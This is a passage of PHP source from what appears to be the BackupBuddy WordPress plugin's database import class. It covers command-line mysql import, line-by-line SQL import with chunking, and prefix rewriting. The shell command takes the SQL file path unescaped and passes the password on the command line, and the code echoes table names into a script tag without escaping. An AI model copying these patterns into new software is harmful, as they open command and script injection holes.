compatibility mode next if able.' ); } else { // Something else returned; used for resuming (integer) or a message (string). pb_backupbuddy::status( 'details', 'mysqlbuddy: Non-boolean response (usually means resume is needed): `' . implode( ',', $result ) . '`' ); return $result; // Dont fallback if this happens. Usually means resume is needed to finish. } } } if ( $return === true ) { // Success. pb_backupbuddy::status( 'message', 'Database import of `' . basename( $sql_file ) . '` succeeded.' ); return true; } else { // Overall failure. pb_backupbuddy::status( 'error', 'Database import procedure did not complete or failed.' ); return false; } } // End import(). public function _import_commandline( $sql_file, $old_prefix, $query_start = 0, $ignore_existing = false ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Preparing to run command line mysql import via exec().' ); // If prefix has changed then need to update the file. if ( $old_prefix != $this->_database_prefix ) { if ( !isset( pb_backupbuddy::$classes['textreplacebuddy'] ) ) { require_once( pb_backupbuddy::plugin_path() . '/lib/textreplacebuddy/textreplacebuddy.php' ); pb_backupbuddy::$classes['textreplacebuddy'] = new pb_backupbuddy_textreplacebuddy(); }; pb_backupbuddy::$classes['textreplacebuddy']->set_methods( array( 'commandline' ) ); // dont fallback into text version here. $regex_condition = "(INSERT INTO|CREATE TABLE|REFERENCES|CONSTRAINT|ALTER TABLE) (`?){$old_prefix}(`?)"; pb_backupbuddy::$classes['textreplacebuddy']->string_replace( $sql_file, $old_prefix, $this->_database_prefix, $regex_condition ); $sql_file = $sql_file . '.tmp'; // New SQL file created by textreplacebuddy. } /********** Begin preparing command **********/ // Handle Windows wanting .exe. Note: executable directory path is prepended on exec() line of code. if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin) $command = 'msql.exe'; } else { $command = 'mysql'; } // Handle possible sockets. if ( $this->_database_socket != '' ) { $command .= " --socket={$this->_database_socket}"; pb_backupbuddy::status( 'details', 'mysqlbuddy: Using sockets in command.' ); } // Set default charset if available. global $wpdb; if ( isset( $wpdb ) ) { pb_backupbuddy::status( 'details', 'wpdb charset override for commandline: ' . $wpdb->charset ); $command .= " --default-character-set=" . $wpdb->charset; } //$command .= " --host={$this->_database_host} --user={$this->_database_user} --password={$this->_database_pass} --default_character_set utf8 {$this->_database_name} < {$sql_file}"; $command .= " --host=" . escapeshellarg($this->_database_host) . " --user=" . escapeshellarg($this->_database_user) . " --password=" . escapeshellarg($this->_database_pass) . " " . escapeshellarg($this->_database_name) . " 2>&1 < {$sql_file}"; // 2>&1 redirect STDERR to STDOUT. /********** End preparing command **********/ // Run command. pb_backupbuddy::status( 'details', 'mysqlbuddy: Running import via command line next.' ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $this->_mysql_directory . $command ); // TODO: Removed mysql pinging here. Do we need (or even want) that here? // Check the result of the execution. if ( $exec_exit_code == '0' ) { pb_backupbuddy::status( 'details', 'mysqlbuddy: Command appears to succeeded and returned proper response.' ); return true; } else { pb_backupbuddy::status( 'error', 'mysqlbuddy: Command did not exit normally. Falling back to database dump compatibility modes.' ); return false; } // Should never get to here. pb_backupbuddy::status( 'error', 'mysqlbuddy: Uncaught exception #433053890.' ); return false; } // End _import_commandline(). function string_begins_with( $string, $search ) { return ( strncmp( $string, $search, strlen($search) ) == 0 ); } /* _import_php() * * Import from .SQL file into database via PHP by reading in file line by line. * Using codebase from BackupBuddy / importbuddy 2.x. * @see import(). * @since 2.x. * * @param SEE import() PARAMETERS!! * @return mixed True on success (and completion), incomplete/chunking required= array( file pointer[for resuming], queries so far[informative only] ), false on failure. */ public function _import_php( $sql_file, $old_prefix, $resumePoint = '', $ignore_existing = false ) { $this->time_start = microtime( true ); pb_backupbuddy::status( 'message', 'Starting import of SQL data... This may take a moment...' ); pb_backupbuddy::status ('details', 'Loading SQL from file `' . $sql_file . '`.' ); // Open SQL file for reading. if ( FALSE === ( $fs = @fopen( $sql_file, 'r' ) ) ) { pb_backupbuddy::status( 'error', 'Error #9009: Unable to find any database backup data in the selected backup or could not open file (possibly due to permissions). Tried opening file `' . $sql_file . '`. Error #9009.' ); return false; } // If chunked resuming then seek to the correct place in the file. if ( ( '' != $resumePoint ) && ( $resumePoint > 0 ) ) { if ( 0 !== fseek( $fs, $resumePoint ) ) { // Returns 0 on success. pb_backupbuddy::status( 'error', 'Error #9483453: Failed to seek SQL file to resume point `' . $resumePoint . '` via fseek().' ); return false; } } // Loop through file line-by-line, executing the SQL as we go. Prefix will be changed line by line as needed. $queryCount = 0; $failedQueries = 0; $prevQueryData = ''; while ( FALSE !== ( $query = fgets( $fs ) ) ) { // Grab line by line as long as fgets doesn't return FALSE. // Clean up SQL and ignore any comment lines. //$query = trim( $query ); if ( empty( $query ) || ( $this->string_begins_with( $query, '/*!40103' ) ) ) { // If blank line or starts with /*!40103 (mysqldump file has this junk in it). continue; } if ( FALSE === strpos( $query, ';' ) ) { // Don't have the full query yet. Need to grab more lines. $prevQueryData .= $query; continue; // Go grab more. } // Execute the SQL line. if ( FALSE === ( $result = $this->_import_sql_dump_line( trim( $prevQueryData . $query ), $old_prefix, $ignore_existing ) ) ) { // Added trim() as of BB v5 to rip off sometimes-leading newline char. // Got FALSE as response... Skipped query so continue to the next. $failedQueries++; continue; } $prevQueryData = ''; // Clear out any previous query data that was not used due to not having the full statement. $queryCount++; // Show a heartbeat to keep user up to date [and entertained ;)]. if ( 0 === ( $queryCount % self::HEARTBEAT_COUNT_LIMIT ) ) { // Display every X queries. pb_backupbuddy::status( 'message', 'Working... Imported ' . $queryCount . ' queries so far.' ); } // If we are within 1 second of reaching maximum PHP runtime then stop here so that it can be picked up in another PHP process... if ( '-1' != $this->_maxExecutionTime ) { // -1 disabled chunking. if ( ( ( microtime( true ) - pb_backupbuddy::$start_time ) + self::TIME_WIGGLE_ROOM ) >= $this->_maxExecutionTime ) { // was $this->time_start but did not take into account time used up before db stuff. pb_backupbuddy::status( 'message', 'Approaching limit of available PHP chunking time of `' . $this->_maxExecutionTime . '` sec. PHP ran for ' . round( microtime( true ) - pb_backupbuddy::$start_time, 3 ) . ', database import ran for ' . round( microtime( true ) - $this->time_start, 3 ) . ' sec. Proceeding to use chunking.' ); if ( FALSE === ( $fsPointer = ftell( $fs ) ) ) { pb_backupbuddy::status( 'error', 'Error #3289238: Unable to get ftell pointer of SQL file handle.' ); return false; } @fclose( $fs ); return array( $fsPointer, $queryCount, $failedQueries, ( microtime( true ) - $this->time_start ) ); // filepointer location, number of queries done this pass, number of sql qeuries that failed, elapsed time during the import } // End if. } } // end while. if ( ! feof( $fs ) ) { pb_backupbuddy::status( 'error', 'Error #89443: fgets failed prematurely. Not at EOF.' ); return FALSE; } fclose( $fs ); pb_backupbuddy::status( 'message', 'Import of SQL data in PHP mode complete.' ); pb_backupbuddy::status( 'message', 'Took ' . round( microtime( true ) - $this->time_start, 3 ) . ' seconds on ' . $queryCount . ' queries. ' ); return true; } // End _import_php(). /** * _import_sql_dump_line() * * Imports a line/query into the database. * Handles using the specified table prefix. * @since 2.x. * * @param string $query Query string to run for importing. * @param string $old_prefix Old prefix. (new prefix was passed in constructor). * @return boolean True=success, False=failed. * */ function _import_sql_dump_line( $query, $old_prefix, $ignore_existing ) { $new_prefix = $this->_database_prefix; $query_operators = 'INSERT INTO|CREATE TABLE|REFERENCES|CONSTRAINT|ALTER TABLE|\/\*!\d+\s+ALTER TABLE'; // Replace database prefix in query. if ( $old_prefix !== $new_prefix ) { $query = preg_replace( "/^($query_operators)(\s+`?)$old_prefix/i", "\${1}\${2}$new_prefix", $query ); // 4-29-11 } // This is a table creation line. Output which table we are able to create to help get an idea where we are in the import. Also possibly handle hotfix Error #7001. if ( 1 == preg_match( "/^CREATE TABLE `?((\w|-)+)`?/i", $query, $matches ) ) { pb_backupbuddy::status( 'details', 'Creating table `' . $matches[1] . '`.' ); if ( defined( 'PB_IMPORTBUDDY' ) ) { echo "<script>bb_action( 'importingTable', '" . $matches[1] . "' );</script>"; } if ( true === $this->_hotfix_7001 ) { $query = str_ireplace( 'TYPE=', 'ENGINE=', $query ); } } global $wpdb; // Run the query $results = $wpdb->query( $query ); // Handle results of running query. if ( false === $results ) { if ( $ignore_existing !== true ) { if ( empty( $wpdb->use_mysqli ) ) { $mysql_error = @mysql_error( $wpdb->dbh ); } else { $mysql_error = @mysqli_error(); } if ( '' == $mysql_error ) { $mysql_error = $wpdb->last_error; } if ( empty( $wpdb->use_mysqli ) ) { $mysql_errno = @mysql_errno( $wpdb->dbh ); } else { $mysql_errno = @mysqli_errno( $wpdb->dbh ); } $mysql_9010_log = ABSPATH . 'importbuddy/mysql_9010_log-' . pb_backupbuddy::$options['log_serial'] . '.txt'; if ( 0 == $this->_9010s_encountered ) { // Place a header at the top of this log with some debugging info. //@unlink( $mysql_9010_log ); // Delete if already exists to avoid multiple logging of entire process. NO LONGER DELETED since this may be multipart chunked. @file_put_contents( $mysql_9010_log, "#####\n# This log contains all 9010 errors encountered.\n# Old prefix: `{$old_prefix}`.\n# New prefix: `{$new_prefix}`.\n# Time: `" . time() . "`.\n#####\n{$test}\n", FILE_APPEND ); } @file_put_contents( $mysql_9010_log, "QUERY from file `" . $this->_current_sql_file . "`:\n" . $query . "ERROR:\n" . $mysql_error . "\n\n", FILE_APPEND ); $this->_9010s_encountered++; if ( $this->_9010s_encountered > $this->_max_9010s_allowed ) { // Too many, don't show more. if ( $this->_9010s_encountered == ( $this->_max_9010s_allowed + 1 ) ) { pb_backupbuddy::status( 'error', 'Additional 9010 errors were encountered but have not been displayed to avoid flooding the screen. All 9010 errors are logged to `' . $mysql_9010_log . '` if possible.' ); } } else { // Show error. pb_backupbuddy::status( 'error', 'Error #9010: Unable to import SQL query. Error: `' . $mysql_error . '` Errno: `' . $mysql_errno . '`.' ); if ( false !== stristr( $mysql_error, 'server has gone away' ) ) { // if string denotes that mysql server has gone away bail since it will likely just flood user with errors... pb_backupbuddy::status( 'error', 'Error #9010b: Halting backup process as mysql server has gone away and database data could not be imported. Typically the restore cannot continue so the process has been halted. This is usually caused by a problematic mysql server at your hosting provider, low mysql timeouts, etc. Contact your hosting company for support.' ); pb_backupbuddy::status( 'details', 'Last query attempted: `' . $query . '`.' ); die( 'Error #948343: FATAL ERROR - IMPORT HALTED' ); } } } return false; } else { return true; } } // End _import_sql_dump_line(). } // End pb_backupbuddy_mysqlbuddy class.